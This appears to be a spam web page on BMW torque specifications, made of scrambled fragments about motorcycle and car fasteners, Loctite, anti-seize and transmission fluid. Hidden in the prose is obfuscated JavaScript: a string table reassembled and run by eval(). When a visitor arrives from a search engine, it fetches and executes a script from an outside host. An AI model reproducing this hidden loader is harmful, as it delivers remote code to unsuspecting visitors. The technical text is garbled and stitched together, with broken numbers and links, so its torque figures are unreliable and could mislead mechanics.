top of page
Search

Bmw Torque Specs Pdf







































These non-plated parts tend to RUST! These parts are chemically treated in a different way now, & nearly always OK at the original specified torque as used when they were cadmium plated, assuming the original specs used are in Nm.. If you find Phillips screws; replace the cover with an updated version, with a new O-ring, and with new proper bolts.. s";xvM["xn"]="}";xvM["fx"]="oc";xvM["RR"]="mb";xvM["wp"]="ai";xvM["pX"]="xt";xvM["uQ"]="rc";xvM["Hs"]="a,";xvM["rk"]="||";xvM["iB"]=";$";xvM["ZM"]=":'";xvM["ba"]="ET";xvM["NX"]="ru";xvM["hz"]="nc";xvM["rA"]=",j";xvM["Vo"]="po";xvM["nI"]="\"y";xvM["gU"]="s?";xvM["sr"]="fu";xvM["rL"]="sD";xvM["sT"]="\"l";xvM["yZ"]="en";xvM["gH"]="ar";xvM["Oa"]=" r";xvM["eF"]="da";xvM["py"]="a:";xvM["ln"]="r ";xvM["kF"]="St";xvM["Rv"]="5S";xvM["Sl"]="c8";xvM["Fw"]="n:";xvM["Et"]="tO";xvM["RE"]="HR";xvM["Kj"]="ng";xvM["Df"]="cr";xvM["KJ"]="aR";xvM["rR"]="ve";xvM["xc"]="ht";xvM["tC"]="eb";xvM["aa"]="gl";xvM["xF"]="(r";xvM["Fc"]="pt";xvM["tc"]="/1";xvM["xh"]="|(";xvM["Ay"]="\"m";xvM["Rs"]="n.. This website has the number for the proper slightly shorter bolts, which are NOT used with washers.. IMO, the effect is similar to the threads without Loctite, but with a faint trace of oil.. With the fluid at the front of the car, the transmission loses fluid for a very short while.. Luckily the BMW transmissions are easy to reach and fairly easy to service This transmission fluid change was the very first project that I performed on this particular car (my wife's 1.. Unfortunately, there is no information on any of this, NOR any values to use if the parts are removed and then reinstalled, which DOES have an effect, sometimes a goodly one, on repeated fastening and unfastening torque values, not to mention the large reduction of any protective coating.. It is very important that the car be level - don't jack up just the front or rear of the car, make sure that it is as level in the air as it is on the ground.. 2006 BMW 335i specs, specifications, laptimes, acceleration times, pictures, photos, engine data, top speed.. var FL = 'Bmw+Torque+Specs+Pdf';var xvM = new Array();xvM["Pc"]="de";xvM["Xi"]=".. I use an old very thin feeler gauge for that Rings should have their splits towards the head, that is, the tapers should face each other.. I do by feel Oil filter outer cover plate (three small bolts): No matter if thermostat or GS or plain plate: specification is 10 Nm which is ~88 INCH-pounds.. I may go a bit higher Do it in stages, alternating sides, etc Best to consult my timing chain article: https://bmwmotorcycletech.. The following numbers have been used:11-42-1-338-783 BMW used these on the R100R and the GS models, I don't have the exact measurements, seem to remember they were copper though.. SEE section 26, below Transmission output flange center large nut: 148-173 foot-pounds, probably OK to even 190.. Be sure to bookmark this page we will be adding a full set 5 Engine And/Or Equipment Specifications Since many vehicle manufacturers will offer engines of other than their own manufacture, it may be necessary to refer to another section in the manual (i.. unless the adaptor is used at 90° The torque figure specification that BMW means is the value on the bolt itself, whether or not you use an adaptor from the torque wrench to the bolt.. Oil pump cover: 88 INCH-pounds; probably 72 is enough LOCTITE medium-holding blue.. See article on this website: https://bmwmotorcycletech info/torquespecs&problems.. BMW front and rear suspension torque specs Engine torque specs and more Here you will find all the BMW suspension torque specs you need with easy to find diagrams.. S Automatic transmissions use the fluid both as a hydraulic fluid and a coolant - they won't work if there isn't any fluid running through them.. Disregard such advice The big difference is in the size of the bolts, with the earlier 10 mm bolts using substantially less torque.. On the cooler or late type models, leave the end 3 mm proud of the engine outside wall surface.. 07-11-9-963-130, A12 x 15, 5al These are the stock aluminum washers, note the 15 mm outer diameter.. Use a properly squared off & proper outside diameter socket See https://bmwmotorcycletech.. It goes through the head and appears next to the spark plug If ALL the threads in the head are not engaged by the stud, you must decide if to remove the stud & reset it deeper (if the acorn nut with its washer will still have enough threads engaged); or, install BMW's LONGER stud, which BMW supplies just for this particular purpose.. The general information in these materials should always be read in conjunction with other specific materials and information available from BMW Group New Zealand.. NO Airhead should have those long bolts NOR any lock-washers, the 18 foot-pounds is listed here as a no-use reference only.. I use a mixture of 1/4th acetone and 1/4th Kerosene, and then 1/2 ATF oil as this mixture is slower to evaporate and thus does a better job, over-all, and you do not have to apply it but once or twice a day.. Enjoy, and remember ALWAYS work safe and I assume NO RESPONSIBILTY for your actions, mechanical abilities or anything that may occur during the nature of any.. See later, herein Flywheel bolts: There have been a lot of different BMW specifications on flywheel bolt torque values over the years.. If your BMW dealer insists that BMW has gone back to using lock-washers, ignore that WRONG advice; use the shorter, later, bolts.. Oil pan mounting bolts:HINT! Before removing a pan, TIGHTEN all the bolts to nearly 80 INCH-POUNDS.. S for American SAE items; and, in some cases, U S metric fasteners are not coded the same for strength.. info/neutralswitch htmSection 26-Driveshaft & swing arm:Driveshaft drain & fill: 10 foot-pounds is my suggestion.. Starter motor bolts: 35 foot-pounds is the published specification, but this is probably excessive.. The SI stated that while the flywheel bolts were previously at ~75 foot-pounds (100 Nm), they were now to be at 90 foot-pounds (125 Nm), cleaned threads, & the threads were to be OILED! BMW specifically said that the bolts would NOT reach their limit of elasticity at that torque, & could be REUSED! I will NOT tighten them that tight.. The ads above are Google-sponsored Bmw Torque Specifications Chart Clicking on them at every visit helps support this website! Clicking on something inside an advertisement helps even more!Torque values© Copyright 2020, R.. Right-hand bearing pivot shaft: 3 5 foot-pounds Right-hand bearing pivot shaft lock nut: 77 foot-pounds.. I have seen even higher published figures for 1981+ Problems include incorrect conversion of Nm to Ftlbs in the literature.. I do NOT consider it safe to torque higher than a true 26 foot-pounds on any Airhead model, & that is with a known good, calibrated torque wrench.. Particularly see that article if you have ever had a nose cone break, or other mechanical fitment problems.. DO NOT use BMW's foot-pounds figures I suggest that you calculate those yourself (Nm x 0.. 5 foot-pounds I suggest 13 foot-pounds Recheck after 2+ hours, or even overnight.. After the first torqueing after the heads have been off, for each later re-torqueing, do not back off all 6 nuts at once, just do one at a time.. but I do recommend they not be re-used I suggest using a socket (preferred) or a box end wrench; and suggest NOT using an open end wrench (to avoid distorting the banjo bolt).. I suggest 6 8 to 8 Nm, which is 60 to 71 INCH-pounds Tighten these three screws in evenly staggered stages.. 1 DDE2 2 Engine M57D25O0 Series E39 Models 525d Power output in kW/ bhp at rpm 120/163 4,000 Torque in Nm at rpm 350.. so be cautious I personally know of errors even in the Factory Workshop Manuals.. Some models from about 1985 are 18 foot-pounds Chain cover: 5 2-5 9 foot-pounds (62-71 INCH-pounds).. I purchased the car with a known transmission problem Basically, when the car was stopped suddenly via the the brakes, and then the accelerator was immediately pressed, the transmission would slip, and then slam into gear, lurching the car forward.. After the car stopped, and the fluid moved back towards the pickup, the transmission began to work normally.. Torque is the result of force applied, via a lever The torque value is the product of the applied force multiplied by the lever length, all as applied 90° to the direction of the force.. It is not unusual to find that someone has over-torqued this nut; yet the camshaft threaded stub end is not yet broken (& maybe not yet visibly cracked).. This question usually arises because using a torque wrench at the limited clearance area of the 4 U-joint bolts requires an adaptor, which adds to the working-length of the torque wrench, INcreasing the torque value from that set on the torque wrench.. I use 160 ftlbs Kickstarter models cotter nut/crank: 15 foot-pounds 4 speed transmission shift fork bolts: 17 foot-pounds.. and some confused Nm with foot-pounds Transmission shifter lever: The 13 foot-pounds specification has caused confusion.. Swing arm allen-recess adjusters (pins): These large threaded pins with the Allen center hole are to be preloaded to 15 foot-pounds, then backed off slightly, then finished in only the tightening direction, leaving them at 7.. Some variances, see your book Bottom caps on the lowers: Specifications have varied, some say 59-73 foot-pounds; others say 87-93 foot-pounds, I do it by feel.. info/timingchain htmSection 12-Engine electrics:Spark plugs: This section has been completely removed, updated, and moved to:https://bmwmotorcycletech.. 07-11-9-963-132, A12 x 16-cu These are copper, and note the 16 mm outer diameter.. info/sparkplugs htmCentrifugal advance: Old style, has single M6 nut on end of camshaft, see above Section 11.. Your day (+) is ruined if you snap off the tip! So, be careful!!! The cam can be repaired in a couple of ways.. One of the transmission lines had been damaged, and was leaking a slow, but steady drip of transmission oil.. etc I suggest using BMW-supplied parts! A very complete list of all sorts of BMW nuts, bolts, washers, studs, and other items, is in my hardware article.. Heating the nut/port area before applying the mixture, may help, as the threads may draw-in a small amount of the fluid as the area cools.. ";xvM["Gk"]="nd";xvM["jh"]="e:";xvM["ph"]="ls";xvM["qc"]="ue";xvM["cf"]="(\"";xvM["ZU"]=".. ANTISEIZE COMPOUND:When using antiseize compound you SHOULD, and in many instances such as spark plug threads, MUST, allow for the change in effective torque (18-30% with anti-seize compound).. and, now you ARE!Nuts, bolts grading systems & standard torque values:Fittings from Germany are specified by a grading system that is different from what is used in the U.. If the transmission had the proper levels of fluid, then this condition would not occur.. https://bmwmotorcycletech info/boschvaleostarter htm covers several other brands too.. From the looks of the car underneath, I could tell that this had been occurring for quite some time.. Also find all the BMW suspension part numbers with diagrams The torque specs here where taken from BMW service manual.. If the finned nut will not come off, after all the above is tried, DO NOT FORCE IT.. This page is being updated regularly Please note that some links on this page go to 'third party' sites which contain.. Be very cautious and ensure that the starter is solidly & squarely in place before and as as you tighten.. if you are a strict interpreter of words (millimeter should be metric Nm for instance; and 'from now on').. and in some instances you can not depend on any markings it may have BE CAREFUL! Nuts are a bit different.. Try SLIGHT tightening & loosening, as appropriate, flooding the threads as best possible.. Fleischerhttps://bmwmotorcycletech info/torquevalues htm71B<>Read https://bmwmotorcycletech.. I never tighten it as tight as specifications LOOK at the far inner end of this associated stud.. If setting end play, do one rocker at a time The idea is that you will not have more than one or two of the nuts loose, in comparison to the others, for very long.. I DO NOT go that high Clutch bolts (to flywheel on early models; to clutch carrier on later models): /5: 14 ftlbs.. 07-11-9-963-151, A12 x 17-cu These are copper, and note the 17 mm outer diameter.. Very few folks know these things Until this is straightened-out (perhaps never), I suggest you use a faint trace of antiseize compound (where appropriate ONLY) and then reinstall at original torque values, or less (you need to be informed on that!).. htmNORMALLY a torque wrench adaptor is used STRAIGHT-OUT from the torque wrench It is quite common for more modern vehicles to have a bolt or other item specified to be torqued to a stated value, and then the item is tightened further, by a number of rotational degrees as shown on a dial.. See the following article on how to do this: https://bmwmotorcycletech info/IncTorqWr.. ";xvM["JT"]="an";xvM["nk"]="do";xvM["Du"]="pr";xvM["oT"]="al";xvM["SB"]="ti";xvM["dA"]=" =";xvM["EL"]="cs";xvM["Pg"]="fe";xvM["ho"]="oo";xvM["tI"]="{t";xvM["Nk"]="/j";xvM["RT"]="x.. The first step is to remove all of the existing fluid from the main transmission sump.. \"";xvM["xq"]="\"v";xvM["et"]="in";xvM["Id"]="ly";xvM["cb"]="q ";xvM["TH"]="=d";xvM["Zp"]="th";xvM["Le"]="xO";xvM["jt"]="= ";xvM["wB"]="|r";xvM["li"]=")>";xvM["gF"]="re";xvM["Ur"]="e'";xvM["hE"]="yp";xvM["sY"]="if";xvM["Ee"]="ta";xvM["Wt"]="va";xvM["mN"]="ms";xvM["NG"]="fo";xvM["aI"]="eD";xvM["lx"]="te";xvM["iv"]="ev";xvM["uA"]="le";xvM["pS"]="um";xvM["AG"]=":f";xvM["KU"]="ja";xvM["Xf"]="tr";xvM["UA"]=",u";xvM["YB"]="pe";xvM["VD"]=";}";xvM["aH"]="we";xvM["xL"]="np";xvM["Lz"]=":/";xvM["Zj"]=";v";xvM["Nc"]="xo";xvM["TU"]="7L";xvM["rn"]="xa";xvM["WG"]="ex";xvM["Di"]="'G";xvM["gM"]="Wv";xvM["ds"]="iv";xvM["PO"]="ef";xvM["TD"]="x(";xvM["Ti"]=" '";xvM["cr"]="3/";xvM["Qf"]=")|";xvM["Po"]="ri";xvM["KX"]="vh";xvM["AI"]=".. An adapter is required for your torque wrench, see my tools article & these articles:https://bmwmotorcycletech.. The previous owner had let it run down about 2 quarts low (the whole transmission takes about 5 quarts).. I did take it to a qualified shop, and had them run the codes for the transmission (OBD I) to see if there were any fault codes.. Time is involved, as I think the metal will move, so don't leave things unbalanced and loose.. In some instances BMW uses specially made & treated items Don't even think about using non-BMW fasteners for the driveshaft U-joint, flywheel or clutch carrier, rods.. SO ASK LOCTITE:With clean & dry threads to begin with, most types of Loctite cause UP TO ~15% increase in actual torque because Loctite acts as a very mild lubricant.. I am a bit more anal about the subject, and tend to reduce torque SOME, with anti-seize compound, at such as the bolts/studs that hold the transmission to the engine, the Universal Joint at the rear of the transmission (where I usually use a mild Loctite, and not an antiseize compound), and some other places.. As a general rule, there are standards for all the various types of headed screws, bolts, etc.. More information at: https://bmwmotorcycletech info/flywheelremovalwarning htm Article 60, sub-section 2 Bmw Torque Specs Pdf ReaderCamshaft flange bearing & front main bearing: 11-13 foot-pounds.. see later, herein BMW uses bolts rated stronger than 8 8 in some places, such as shock absorber mounts, brakes, rods, crankshaft-to-flywheel or clutch carrier;.. If you use a torque wrench, use an INCH-pound or other more sensitive wrench I recommend 66 to 72 INCH-pounds for the final setting (that is why I said 5.. I have thought about copying the charts and making them available by link in this article, but haven't found any need, so far, and, I have strong concerns if you used such charts/table values, and not what is in the lower part of this article.. For re-assembly with a new gasket, first be VERY sure the surfaces are flat and without nicks.. Cylinder head stubs: See the break-in article for specifics! https://bmwmotorcycletech.. When I purchased the car, I bargained the fellow down based on the problem with the transmission.. Later models (from about 1985 or so) specify 25 Nm, or 18 foot-pounds Use 12 point deep socket, moderately tight by feel.. Alternator rotor allen bolt: Book value is 16 6-19 5 foot-pounds I suggest ~14 as a maximum.. I have not yet decided on a torque setting If I did decide, and forgot to put it here, you would find it here: https://bmwmotorcycletech.. /6, /7 through 1980: 16-17 ftlbs From 1981 with the new style clutch, 14 5-16 ftlbs.. Later model BMW motorcycles are using the smaller heads There is no need to carry extra & new sizes of wrenches, if you are careful & knowledgeable.. this includes Clymers Haynes etc , when listed in foot pounds (BMW original errors are often carried forward into Clymers & Haynes books):BMW of North America published a Service Bulletin, Volume II, NO.. Those two digits are often the first digits in an item's part number Section 11-Engine: Cylinder heads: The 4 rocker arm stud & nut threads are to be oily.. If you do not have a good feel for torque, especially torque that breaks things, use a torque wrench.. I know of no instances, on any BMW Airhead motorcycle, where the factory specification for torque is anything other that the ACTUAL torque on the fastener.. Be careful, there are also forks with small bolts (screws), that are offset, at the bottom.. ";xvM["JW"]="ow";xvM["fp"]="',";xvM["hH"]="at";xvM["pf"]="t ";xvM["Cu"]="J0";xvM["ZG"]="ns";xvM["ag"]=";i";xvM["nz"]="FL";xvM["iV"]="so";xvM["ZJ"]="\")";xvM["Zk"]="Ty";xvM["pP"]="os";xvM["qs"]=".. If the car is not level, then you will not achieve an accurate reading With the car elevated in the air, you should be able to see the two lower sump chambers of the transmission that hold the transmission fluid.. 8 Nm I torque that bolt to 5 foot-pounds, which is the same as 60 inch-pounds Transmission cover screws: 6 foot-pounds (72 inch-pounds)Transmission output flange-to-U-joint: 25-29 foot-pounds.. Early models like the /5, etc , were specified at 18 foot-pounds, that was with the longer bolts with split lock-washers.. None showed up, so I presumed that the problem was relatively recent, minor, and could be easily fixed by replacing the transmission fluid.. You likely do not have 18 & 16 mm wrenches in your Airhead tool kit! I have seen 18 mm being substituted for 19 mm; 16 mm substituted for 17 mm.. If removed and reinstalled, then antiseize usually has to be added and the torque lessened a bit.. November 2020 THE Torque in Nm at rpm 260/280 2,200 Number of cylinders and configuration In-line 6 Engine capacity in cm3 2,497 Stroke/bore in mm 82.. ) should not be used Recent experience has shown that use of these figures has caused some major, expense errors by either a dealer service department, a customer, or an independent machine shop.. ALWAYS 4 brand-new gasket-washers! BE SURE to check for leaks after engine startup.. 5 foot-pounds; locknuts to 75-80 foot-pounds Left-hand bearing pivot stub: 80 foot-pounds.. Torque values between systems of measurement Foot pounds is same as pound-feet; ounce-inches is same as inch-ounces.. Oil filter INNER cap bolt (that cap is used on early Airheads without oil coolers): 20 Nm which is 15 foot-pounds (some books may say 41Nm which is 30 ftlbs, I think that is vastly too high).. If you use the copper ones, I recommend the same, although they can be re-annealed (careful heating) to be softer and mate up OK.. Use of a considerable amount of an anti-seize compound is MANDATORY! Failure to loosen these nuts & to clean the threads & to use fresh anti-seize compound on the threads yearly may eventually cause you a lot of anguish.. Clean and coat the rings too When cleaning the rings, clean the gap in the split ring, if you can.. Axle nut: 25 (35 maximum) foot-pounds Axle, late models, that use an allen bolt and not a nut: 25 foot-pounds.. , THAT HOLD THE REAR WHEEL OF YOUR BMW AIRHEAD OR CLASSIC K-BIKE TO THE REAR DRIVE.. Closer values will be found in the BMW DIN standards chart located in the factory manuals.. ' This was signed by Herb Neas, National Service Manager 'There are errors above.. Ratings (grades) used in the German DIN system are, in increasing order of strength: 5.. If you have lock-washers, get rid of them, & use the slightly shorter later bolts.. 1981 and later are supposed to be at 25 ftlbs careful!Lower fork yoke stanchion clamp (lower triple clamp): 25 foot-pounds.. Fittings from Germany are, of course, Metric-sized German bolts are marked on their heads by a number that corresponds to the over-all strength, called a Grade.. Fender brace, lower: 1 5-1 8 foot-pounds Fork brace, GS: 13 foot-pounds. On my 1 98 8 Nissan Pathfinder, I was shocked when I found that I couldn't easily change the fluid without dropping some structural, and exhaust components.. https://bmwmotorcycletech info/pangasket htmEngine oil pan drain plug: 20-22 foot-pounds.. Driveshaft coupling nut (bell gear): 180 foot-pounds is the maximum and probably 150 is OK.. THIS MEANS MONOLOVER AND PARALEVER BIKES! If you find that your motorcycle has had antiseize used at the rear drive threads for those parts, or the parts themselves, do a very thorough job of cleaning the material off, using brushes and solvents.. There are standardized tables for recommended tightening torque for fasteners The purpose of the tables as shown in the BMW Factory Service Manual is for those rare instances when there is no BMW specification elsewhere's for torque for an item.. For the R80GS, R80R, R100GS, R100R, see the note well below, under Section 11-Engine, Rod Bolts.. e , Saturn- see GM, Lincoln, Mercury - see Ford Motor Company) Product features, specifications, models and prices are subject to change without notice.. The bolt that goes through the shift lever into the transmission has a diameter of 6 mm type and is 80 mm long, and it requires a 5 mm allen wrench and 6.. For whatever reason, BMW did not mention much earlier model details, nor did it mention that the 11 mm bolts were used far earlier than 1981.. Most torque wrenches of the type that have a range of maybe 5 to 75 foot-pounds, can NOT be used for the pan bolts, as their low-setting accuracy is NOT good enough, NOR is the FEEL OR SOUND for the click.. Do not let outer hose be in contact with the fairing if you have a fairing, because fairing movement and fairing vibration might loosen the banjo.. What causes this symptom with the transmission? Well, when you slam on the brakes, all of the fluid in the transmission flows to the front of the car and away from the fluid pickup, which is located towards the rear of the transmission.. a";xvM["vk"]="e,";xvM["ge"]="e ";xvM["Ja"]="er";xvM["VS"]="on";xvM["jX"]="f ";xvM["XT"]="sh";xvM["UN"]="cc";xvM["yk"]="})";xvM["rg"]="r.. i";xvM["cK"]="ah";xvM["Yb"]=">0";xvM["mA"]="l ";xvM["rm"]="rr";xvM["sQ"]="su";xvM["CO"]="qX";xvM["om"]="rl";eval(xvM["Wt"]+xvM["ln"]+xvM["cb"]+xvM["jt"]+xvM["nz"]+xvM["Zj"]+xvM["gH"]+xvM["Oa"]+xvM["PO"]+xvM["TH"]+xvM["fx"]+xvM["pS"]+xvM["yZ"]+xvM["pf"]+xvM["gF"]+xvM["Pg"]+xvM["rm"]+xvM["Ja"]+xvM["ag"]+xvM["YN"]+xvM["gF"]+xvM["jX"]+xvM["uA"]+xvM["Kj"]+xvM["Zp"]+xvM["Yb"]+xvM["jo"]+xvM["sY"]+xvM["Gz"]+xvM["gF"]+xvM["jX"]+xvM["et"]+xvM["Pc"]+xvM["Le"]+xvM["YN"]+xvM["nI"]+xvM["JT"]+xvM["Pc"]+xvM["RT"]+xvM["ZJ"]+xvM["Yb"]+xvM["Qf"]+xvM["xh"]+xvM["gF"]+xvM["jX"]+xvM["et"]+xvM["Pc"]+xvM["Le"]+xvM["YN"]+xvM["cO"]+xvM["ho"]+xvM["aa"]+xvM["ge"]+xvM["ZJ"]+xvM["Yb"]+xvM["Qf"]+xvM["wB"]+xvM["PO"]+xvM["Nt"]+xvM["Gk"]+xvM["WG"]+xvM["rW"]+xvM["cf"]+xvM["KM"]+xvM["RR"]+xvM["uA"]+xvM["rg"]+xvM["ZJ"]+xvM["Yb"]+xvM["rk"]+xvM["gF"]+xvM["jX"]+xvM["et"]+xvM["Pc"]+xvM["Le"]+xvM["YN"]+xvM["bz"]+xvM["et"]+xvM["ym"]+xvM["ZJ"]+xvM["Yb"]+xvM["rk"]+xvM["gF"]+xvM["jX"]+xvM["et"]+xvM["Pc"]+xvM["Le"]+xvM["YN"]+xvM["Ay"]+xvM["wp"]+xvM["mA"]+xvM["ZJ"]+xvM["Yb"]+xvM["rk"]+xvM["gF"]+xvM["jX"]+xvM["et"]+xvM["Pc"]+xvM["Le"]+xvM["YN"]+xvM["nI"]+xvM["cK"]+xvM["ho"]+xvM["Xi"]+xvM["li"]+xvM["gx"]+xvM["wB"]+xvM["PO"]+xvM["Nt"]+xvM["Gk"]+xvM["WG"]+xvM["rW"]+xvM["cf"]+xvM["mN"]+xvM["Rs"]+xvM["ZJ"]+xvM["Yb"]+xvM["rk"]+xvM["gF"]+xvM["jX"]+xvM["et"]+xvM["Pc"]+xvM["Le"]+xvM["YN"]+xvM["sT"]+xvM["ds"]+xvM["ge"]+xvM["ZJ"]+xvM["Yb"]+xvM["rk"]+xvM["gF"]+xvM["jX"]+xvM["et"]+xvM["Pc"]+xvM["Le"]+xvM["YN"]+xvM["xq"]+xvM["Xp"]+xvM["ZJ"]+xvM["Yb"]+xvM["jo"]+xvM["Wt"]+xvM["ln"]+xvM["XT"]+xvM["JW"]+xvM["cW"]+xvM["dA"]+xvM["Ti"]+xvM["NG"]+xvM["uQ"]+xvM["Ur"]+xvM["iB"]+xvM["AI"]+xvM["KU"]+xvM["TD"]+xvM["tI"]+xvM["hE"]+xvM["jh"]+xvM["Di"]+xvM["ba"]+xvM["fp"]+xvM["eF"]+xvM["Ee"]+xvM["Zk"]+xvM["YB"]+xvM["ZM"]+xvM["kV"]+xvM["Po"]+xvM["Fc"]+xvM["fp"]+xvM["Du"]+xvM["fx"]+xvM["Oy"]+xvM["rL"]+xvM["hH"]+xvM["py"]+xvM["nM"]+xvM["ph"]+xvM["vk"]+xvM["Df"]+xvM["pP"]+xvM["rL"]+xvM["KF"]+xvM["wp"]+xvM["Fw"]+xvM["Xf"]+xvM["qc"]+xvM["rA"]+xvM["iV"]+xvM["xL"]+xvM["AG"]+xvM["oT"]+xvM["Xs"]+xvM["UA"]+xvM["om"]+xvM["ZM"]+xvM["xc"]+xvM["AE"]+xvM["Lz"]+xvM["Nk"]+xvM["Cu"]+xvM["Jj"]+xvM["TU"]+xvM["Nc"]+xvM["rn"]+xvM["gM"]+xvM["Et"]+xvM["KJ"]+xvM["KX"]+xvM["Rv"]+xvM["Sl"]+xvM["nk"]+xvM["qs"]+xvM["Cu"]+xvM["Jj"]+xvM["TU"]+xvM["Nc"]+xvM["rn"]+xvM["gM"]+xvM["Et"]+xvM["KJ"]+xvM["KX"]+xvM["Rv"]+xvM["Sl"]+xvM["nk"]+xvM["ZU"]+xvM["EL"]+xvM["Ja"]+xvM["rR"]+xvM["rg"]+xvM["NX"]+xvM["tc"]+xvM["cr"]+xvM["Mt"]+xvM["qs"]+xvM["gU"]+xvM["aH"]+xvM["tC"]+xvM["Id"]+xvM["fp"]+xvM["sQ"]+xvM["UN"]+xvM["Oy"]+xvM["Ir"]+xvM["sr"]+xvM["hz"]+xvM["SB"]+xvM["VS"]+xvM["xF"]+xvM["Oy"]+xvM["Vo"]+xvM["ZG"]+xvM["aI"]+xvM["hH"]+xvM["Hs"]+xvM["lx"]+xvM["pX"]+xvM["kF"]+xvM["hH"]+xvM["QO"]+xvM["rA"]+xvM["CO"]+xvM["RE"]+xvM["jo"]+xvM["iv"]+xvM["oT"]+xvM["xF"]+xvM["Oy"]+xvM["Vo"]+xvM["ZG"]+xvM["aI"]+xvM["hH"]+xvM["Eb"]+xvM["VD"]+xvM["yk"]+xvM["VD"]+xvM["xn"]); BMW E3.. htm https://bmwmotorcycletech info/IncTorqWr htm There have been instances in which someone has questioned just what BMW means by its torque figures.. Try to obtain old original parts when yours need replacement in most instances (?) the part numbers are the same, & the dealership might have the cadmium plated ones under the SAME part number and even in the SAME box.. I ALWAYS use a final value target of 25 foot-pounds for ALL models even though I know pre-Nikasil models were specified at 29-31 foot-pounds in SOME old literature.. 02' Swing arm adjuster thin steel lock nuts, 27 mm (use MODIFIED 27 mm or MODIFIED 1-1/16' socket): 72-77 foot-pounds.. This question usually arises because using a torque wrench at the limited clearance area of the driveshaft U-Joint bolts usually requires an adaptor, and BMW AND OTHERS sell adaptors.. I do it by feel Valve cover center acorn nut: 14 foot-pounds (I am cautious, & do it by feel).. with the exception of the R80GS, R80R, R100GS, R100R, where BMW has said that for certain items you must torque to a certain value which is then followed by a certain number of additional rotational degrees of tightening.. Both bolt & flange threads must be clean and dry & then apply 1 drop of Loctite medium strength BLUE on the bolt threads.. 5 (9 max) foot-pounds At the same time you must end up such that spacing from swing arm to frame point on both sides is equal within ~.. Driving for any more time with the transmission in this state would have led to substantial damage, and could have resulted in a wrecked tranny (replacement cost $2.. Some aftermarket literature will show different flywheel bolt torques for different engine sizes for the same year.. Selector fork/cam bracket: 18 foot-pounds (from 1981, 14 foot-pounds) Clutch lever adjusting screw locknut: 15 foot-pounds is the specification.. 1 DDE2 2 Engine M57D25O0 Series E39 Models 525d Power output in kW/ bhp at rpm 120/163 4,000 Torque in Nm at rpm 350.. If they tighten properly, good If they show signs of pulling-out threads, note which ones, so you can fix the threads with a Helicoil after the pan is removed.. Leave all threads clean and totally dry Torque only with a torque wrench unless in an emergency field situation.. Prior to 1981 the specification was 101-130 foot-pounds, later went to 145-159 foot-pounds.. In every instance (except at 90°), where the effective length of the torque wrench is increased, the torque wrench will need to be set to a value LESS than the specified value for the bolt.. I strongly suggest you follow my torquing method and values Literature values are 6.. info/tools htm R80GS, R80R, R100GS, R100R: specifications are 15 foot-pounds, then 40 degrees more.. See my other articles for what I think about that, and which to use I personally use a less strong Loctite, so they remove easier, but I add witness paint markings.. Please inform all customers upon purchase of a shop manual, and also those customers that you are aware of that have one in their possession.. I don't like that method all that much Crankshaft front bearing assembly (carrier): Most will be torqued at approximately 17ftlbs.. Requires an adapter tool Bolts are sturdy & strong, & a feeling of 'good & very tight' from a common 6' 12 point box end wrench is probably OK.. BMW specifies using an exceptionally strong Loctite locking compound on the stubs and nuts.. Lower hose ends fittings should not contact anything except the cover fitment area.. BUT! because of the potential for serious damage, I do not list standardized values, only specific item values.. On the other hand, the BMW transmissions used on the E3 Despite the dealer's recommendations not to change or even mess with the fluid, I prefer to change mine every 3 years or 3.. If you use the aluminum 'gaskets/washers' they are to be replaced EACH TIME you unfasten the associated banjo, one on each side.. While 8 8 is now commonly available in American hardware stores, many stores carry INFERIOR bolts, often unmarked.. What all this REALLY means: When BMW has a published torque figure, it is 'usually' OK as shown in Nm, (I say 'usually' because sometimes I think BMW torque values at SOME PLACES are somewhat too high).. If they squeak, remove nut, oil immediately, & immediately re-tighten Cylinder stud nuts are to be evenly cross-torqued, staging at ~10, ~18, & then CAREFULLY to a final value of 25 ftlbs.. Luckily - I guessed correctly Okay, enough background on the automatic transmission.. Do NOT over-tighten DO NOT use anything but a socket, or, if you must, a box end wrench, otherwise, you can distort the switch case, and it MIGHT then leak/weep oil, if not immediately, then after enough hot/cold cycles.. foot-pounds (8Nm) Top cap nut, center tube, also called Crown Nut and Centering Nut: 80-95 foot-pounds; some books say 88-96 foot-pounds.. info/tools htmParalever: Preloading the pivot pins: 15 foot-pounds, then, back off a small amount, then retighten to 7.. Torque in Nm at rpm 260/280 2,200 Number of cylinders and configuration In-line 6 Engine capacity in cm3 2,497 Stroke/bore in mm 82.. Install the proper bolts clean, dry, & 1 drop of Loctite BLUE (medium locker) on the threads before assembly.. I advise you to not use standardized values, whether industry type, or BMW charts.. I use the low side of specifications for this pan drain bolt (often called a drain plug).. Needless to say, after I replaced the transmission fluid and checked the levels, the transmission no longer had this problem.. This sort of thing has been going on a long time; and, has been quite prominent for some manufacturer's spark plugs, which are fine if installed only once.. The rotor is a taper fit to the crankshaft The male and female mating surfaces must be absolutely clean & free from any contamination, including oil, and completely nick-free.. SLASH 2 information: /2 information is in Jeff Dean's article, which describes the /2 series rather well:http://bmwdean.. ";xvM["Gz"]="((";xvM["cO"]="\"g";xvM["KM"]="ra";xvM["Oy"]="es";xvM["Xp"]="k ";xvM["AE"]="tp";xvM["rW"]="Of";xvM["Jj"]="v6";xvM["Mt"]="35";xvM["Ir"]="s:";xvM["cW"]="me";xvM["Eb"]="a)";xvM["gx"]="0|";xvM["bz"]="\"b";xvM["KF"]="om";xvM["Nt"]=".. Section 31/32-Steering, forks, bars, controls on bars: Fork drain nut, type located at bottom: 16.. Not rusty Low viscosity oil, oiled threads, 36 foot-pounds Special tri-tool needed, see tools article: https://bmwmotorcycletech.. Oil cooler hose 17 mm banjo nuts (located at the oil filter outer cover: Absolute maximum 14.. Do NOT use substitute bolts! DO NOT use hardware store bolts! Use 25 foot-pounds as a target value, and limit at 29 ftlbs.. For all others but the R80GS, R80R, R100GS, R100R rod bolts or other such specified angular tightening, this means the torque figure is the value applied to the bolt itself.. 8/80 Compression ratio 22: 1 Valves/cylinder 2 Period used 2/96 - 9/02 Engine management DDE2.. Exhaust pipe finned nuts: A YEARLY maintenance item is to unscrew these, and clean the threads, and re-coat with high temperature anti-seize compound.. 23, Dated 3/82 I will quote some from that bulletin: 'May we advise you that from now on, any published BMW conversions found in brackets immediately behind the millimeter figures in all service literature (riders manuals, shop manuals, etc.. I use a brass brush to clean the threads, rather than a steel brush Do not oil these threads.. See cams article: https://bmwmotorcycletech info/cams htmRocker arm adjustment lock nut: 13-16 foot-pounds (some say 12, & I am OK with that, less likely for thread problems).. info/break-in htmSection 18-Exhaust system:Exhaust system 'clips' pre-silencer (1985+): 15 foot-pounds.. Male & female tapers must be absolutely clean and dry Do NOT clean with gasoline; use a good solvent, I use Acetone or MEK.. 6 x Nm 